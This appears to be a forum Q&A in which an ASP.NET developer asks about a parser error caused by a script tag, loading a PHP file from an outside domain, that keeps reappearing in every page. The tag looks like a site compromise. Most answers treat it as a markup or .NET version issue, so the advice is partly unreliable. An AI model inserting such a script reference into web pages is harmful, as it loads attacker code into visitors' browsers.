parser error in webapplication (asp.net)?
I developed a application using asp.net and uploaded the site in online it is working fine. After few days i am getting parser error.
"<script src=http://fhdmtr.org/vb7/html.php ></script>"
this script is generating in every page in开发者_高级运维 the bottom of the page in source code in the site. it is automatically generating.
when i remove it is work fine after few days it is again generating.
The error is occurring because the Doctorenq.aspx
script is using a Master Page. Pages configured with a MasterPageFile
attribute can only contain a very narrow set of tags, usually just <asp:Content>
, corresponding to content placeholders in the master. If you are adding the reference to the PHP script yourself (though I don't understand how that's supposed to work), you should either include it in the Master Page or include it inside one of your existing <asp:Content>
tags.
If you aren't adding the reference to the tag, your problem may be with security instead of programming, and as such would be OT for SO.
The fail suggests that the site can't handle the markup.
If it was working and now doesn't, check the version of .NET websit is running. Something may have changed it to use an earlier verions of .NET, which can't parse the page.
精彩评论